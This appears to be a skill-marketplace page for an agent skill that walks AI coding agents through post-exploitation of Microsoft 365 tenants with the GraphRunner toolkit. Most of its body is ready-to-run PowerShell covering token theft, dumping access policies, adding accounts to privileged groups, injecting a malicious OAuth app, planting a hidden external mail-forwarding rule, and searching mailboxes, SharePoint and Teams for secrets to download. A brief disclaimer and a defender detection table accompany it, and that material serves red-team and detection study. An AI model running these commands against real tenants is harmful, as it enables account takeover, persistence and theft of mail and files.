external/anthropic-cybersecurity-skills/skills/post-exploiting-microsoft-graph-with-graphrunner/SKILL.md
Perform recon, persistence, privilege escalation, and data search via the Microsoft Graph API using GraphRunner.
npx skillsauth add seikaikyo/dash-skills post-exploiting-microsoft-graph-with-graphrunnerInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:
Get-GraphTokens (device-code login), Invoke-RefreshGraphTokens, Invoke-AutoTokenRefresh, Invoke-ImportTokens, Invoke-RefreshToSharePointToken.Invoke-GraphRecon (tenant/user permission summary), Invoke-DumpCAPS (conditional-access policies), Invoke-DumpApps (app registrations / consent grants), Get-AzureADUsers, Get-SecurityGroups, Get-UpdatableGroups, Get-DynamicGroups, Invoke-SearchUserAttributes, Invoke-GraphOpenInboxFinder, Find-PermissiveCalendars.Invoke-InjectOAuthApp (deploy a malicious OAuth app for consent-grant persistence), Invoke-CreateInboxForwardingRule.Get-UpdatableGroups, Invoke-AddGroupMember, Invoke-SecurityGroupCloner, Invoke-InviteGuest.Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, Invoke-SearchTeams, Get-TeamsChat, Invoke-DriveFileDownload.Invoke-GraphRunner runs an automated recon-and-pillage pass; List-GraphRunnerModules prints all modules.This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
Get-GraphTokens device-code login, or imported tokens).# Clone and import the module
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
Import-Module .\GraphRunner.ps1
# List every available module
List-GraphRunnerModules
| ID | Tactic | Official Technique Name | Role in this skill |
|----|--------|-------------------------|--------------------|
| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain/escalate access |
| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups |
| T1528 | Credential Access | Steal Application Access Token | Get-GraphTokens device-code token acquisition |
| T1087.004 | Discovery | Account Discovery: Cloud Account | Get-AzureADUsers, Invoke-SearchUserAttributes |
| T1114.002 | Collection | Email Collection: Remote Email Collection | Invoke-SearchMailbox over Graph |
| T1606.002 | Credential Access | Forge Web Credentials: SAML/OAuth | Invoke-InjectOAuthApp consent-grant persistence |
# Device-code login; complete the code at microsoft.com/devicelogin
Get-GraphTokens
# Refresh the access token when it expires
Invoke-RefreshGraphTokens
# Keep tokens fresh automatically during a long operation
Invoke-AutoTokenRefresh
# Import tokens captured elsewhere (e.g., from ROADtools)
Invoke-ImportTokens -AccessToken $at -RefreshToken $rt
# High-level tenant + current-user permission recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
# Dump conditional-access policies
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
# Enumerate app registrations, service principals, and consent grants
Invoke-DumpApps -Tokens $tokens
# Enumerate all users and security groups
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-SecurityGroups -Tokens $tokens
# Hunt across all user attributes for terms like "password"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"
# Find groups the current principal can modify directly
Get-UpdatableGroups -Tokens $tokens
# Add yourself (or a controlled account) to a target group
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>
# Clone a privileged security group's membership into a new group you control
Invoke-SecurityGroupCloner -Tokens $tokens
# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"
# Create a hidden inbox forwarding rule on a target mailbox
Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "[email protected]" -RuleName "Sync"
# Search a mailbox (or all reachable mailboxes) for sensitive terms
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv
# Search SharePoint and OneDrive content
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"
# Download a discovered file
Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx
# Search Teams messages
Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"
# Run the orchestrated recon + pillage workflow end to end
Invoke-GraphRunner -Tokens $tokens
| Tool | Purpose | Primary Source | |------|---------|----------------| | GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https://github.com/dafthack/GraphRunner | | GraphRunner wiki | Per-module usage guide | https://github.com/dafthack/GraphRunner/wiki | | BHIS GraphRunner blog | Tool release + walkthrough | https://www.blackhillsinfosec.com/introducing-graphrunner/ | | Microsoft Graph API | API reference for the underlying calls | https://learn.microsoft.com/graph/api/overview | | ROADtools | Upstream token acquisition / device-code phishing | https://github.com/dirkjanm/ROADtools |
GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:
| GraphRunner action | Telemetry source | What the defender sees |
|--------------------|------------------|------------------------|
| Get-GraphTokens (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP |
| Invoke-InjectOAuthApp | Entra audit logs | "Add application" + "Consent to application" events with broad delegated scopes |
| Invoke-AddGroupMember / Invoke-SecurityGroupCloner | Entra audit logs | "Add member to group" on privileged/role-assignable groups |
| Invoke-CreateInboxForwardingRule | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |
| Invoke-SearchMailbox / Invoke-SearchSharePointAndOneDrive | MicrosoftGraphActivityLogs | High-volume $search calls against /messages and Drive endpoints |
To reduce noise during an authorized engagement, scope searches with -MessageCount, avoid role-assignable group changes unless required, and always remove injected apps with Invoke-DeleteOAuthApp and forwarding rules during cleanup.
Get-GraphTokens and refreshed successfully.Invoke-GraphRecon, Invoke-DumpCAPS, Invoke-DumpApps).development
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
Reference for writing and editing agent skills well — the vocabulary and principles that make a skill predictable. Consult when authoring, reviewing, or pruning a SKILL.md.